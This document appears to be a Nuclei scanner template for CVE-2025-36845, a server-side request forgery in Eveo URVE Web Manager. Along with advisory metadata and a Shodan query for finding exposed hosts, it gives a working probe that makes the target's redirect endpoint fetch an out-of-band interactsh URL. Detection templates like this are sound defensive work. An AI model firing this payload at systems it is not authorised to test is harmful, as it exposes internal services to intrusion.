CVE-2025-36845: Eveo URVE Web Manager - Server-Side Request Forgery

id: CVE-2025-36845

info:
  name: Eveo URVE Web Manager - Server-Side Request Forgery
  author: DhiyaneshDk
  severity: high
  description: |
    Eveo URVE Web Manager 27.02.2025 contains a server-side request forgery caused by improper validation of URL input in /_internal/redirect.php, letting attackers make requests to internal endpoints, exploit requires crafted URL input.
  impact: |
    Attackers can make requests to internal-only accessible endpoints, potentially exposing sensitive internal services or data.
  remediation: |
    Update to the latest version with SSRF protections or apply input validation to restrict URL requests.
  reference:
    - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2025-035.txt
    - https://smartoffice.expert/en
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"URVE Web Manager"
  tags: cve,cve2025,eveo,ssrf,oast,oob,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/urve/site/login.html?lang=en"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'URVE Web Manager')"
          - "status_code == 200"
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/_internal/redirect.php?url=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a00473045022100c52f4a45002090698d301358fd6861ad26db471138f1d1b7b9fd8a6ba041969a02201242cb88e4a04f84fa65cad16613cadff93e23bf7d3fa9ba6275c7d4fb36b10d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.